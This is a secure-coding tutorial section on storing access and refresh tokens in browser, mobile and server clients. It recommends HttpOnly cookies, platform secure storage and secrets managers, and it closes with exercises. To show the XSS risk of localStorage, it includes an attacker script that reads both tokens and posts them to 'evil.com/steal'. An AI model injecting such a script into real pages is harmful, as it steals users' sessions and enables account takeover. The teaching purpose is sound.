Secure Token Storage
The storage problem
After login, the client receives an access token and a refresh token. Where should it put them?
The answer depends on what the client is. A browser, a mobile app, and a server-side client have different options and different risks.
Browser clients
localStorage: the worst option
// WRONG
localStorage.setItem("accessToken", token);
localStorage.setItem("refreshToken", refreshToken); Any JavaScript running on the page can read localStorage. If an attacker injects a script (XSS), they can steal both tokens:
// Attacker's script
fetch("https://evil.com/steal", {
body: JSON.stringify({
access: localStorage.getItem("accessToken"),
refresh: localStorage.getItem("refreshToken"),
}),
}); The refresh token is especially dangerous: it can generate new access tokens for 30 days.
sessionStorage: marginally better
// Slightly better, still bad
sessionStorage.setItem("accessToken", token); sessionStorage is cleared when the tab closes, which limits the exposure window. But it is still readable by any JavaScript on the page. XSS can still steal it during the session.
In-memory variable: better for access tokens
// Store only in a JavaScript variable
let accessToken = null;
async function login(email, password) {
const res = await fetch("/token/login", { ... });
const data = await res.json();
accessToken = data.accessToken;
// refresh token handled separately (see below)
}
async function apiFetch(url, options = {}) {
return fetch(url, {
...options,
headers: {
...options.headers,
Authorization: `Bearer ${accessToken}`,
},
});
} A JavaScript variable is not accessible from other pages or tabs. It is harder (not impossible) to steal via XSS. The downside: it is lost on page refresh. The user must refresh the access token (using the refresh token) after every page load.
HttpOnly cookie: best for browser clients
The most secure option for browser clients is to store both tokens in HttpOnly cookies. This is a hybrid approach: you use JWTs for the token format but cookies for transport.
// Server: set tokens as HttpOnly cookies on login
return new Response(null, {
status: 200,
headers: {
"set-cookie": [
`access_token=${accessToken}; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=900`,
`refresh_token=${refreshToken}; HttpOnly; Secure; SameSite=Lax; Path=/token/refresh; Max-Age=2592000`,
].join(", "),
},
}); Notice the refresh token cookie has Path=/token/refresh. This means the browser only sends the refresh token to the refresh endpoint, not with every request. The access token cookie goes to all paths.
With HttpOnly cookies, JavaScript cannot read either token. XSS cannot steal them. The browser attaches them automatically. You get the statelessness of JWTs with the transport security of cookies.
The tradeoff: you need CSRF protection (from Section 3) because cookies are sent automatically.
Mobile clients
Mobile apps should use the platform’s secure storage:
- iOS: Keychain
- Android: EncryptedSharedPreferences or the Keystore
These stores are encrypted and inaccessible to other apps. They survive app restarts and are the recommended location for tokens on mobile.
Never store tokens in plain text files, SharedPreferences (Android, unencrypted), or UserDefaults (iOS, unencrypted).
Server-to-server clients
Servers calling your API should store tokens in environment variables or a secrets manager (AWS Secrets Manager, HashiCorp Vault). Never in source code.
Summary
| Client | Best storage | Why |
|---|---|---|
| Browser | HttpOnly cookies | XSS cannot read them |
| Browser (alternative) | In-memory variable for access token | Hard to steal, but lost on refresh |
| Mobile | Platform secure storage (Keychain, Keystore) | Encrypted, isolated from other apps |
| Server | Environment variable / secrets manager | Not in source code or logs |
| Storage | XSS risk | Persists across refreshes |
|---|---|---|
| localStorage | High (any script can read it) | Yes |
| sessionStorage | High (any script can read it) | No (cleared on tab close) |
| In-memory variable | Lower (harder to access) | No (lost on refresh) |
| HttpOnly cookie | None (JavaScript cannot read it) | Yes (browser manages it) |
Exercises
Exercise 1: Modify your token login endpoint to set the access token and refresh token as HttpOnly cookies instead of returning them in the response body. Verify that document.cookie does not show them in the browser console.
Exercise 2: With tokens in HttpOnly cookies, update authenticateToken to read the access token from the cookie instead of the Authorization header. Now you have JWTs transported via cookies, which combines the benefits of both approaches.
Exercise 3: Consider the tradeoffs. With tokens in cookies, you need CSRF protection (Section 3). With tokens in the Authorization header, you do not. Which approach would you choose for a browser-only app? For an app with both browser and mobile clients?
Why is an HttpOnly cookie the most secure storage option for browser clients?
Why does the refresh token cookie use Path=/token/refresh?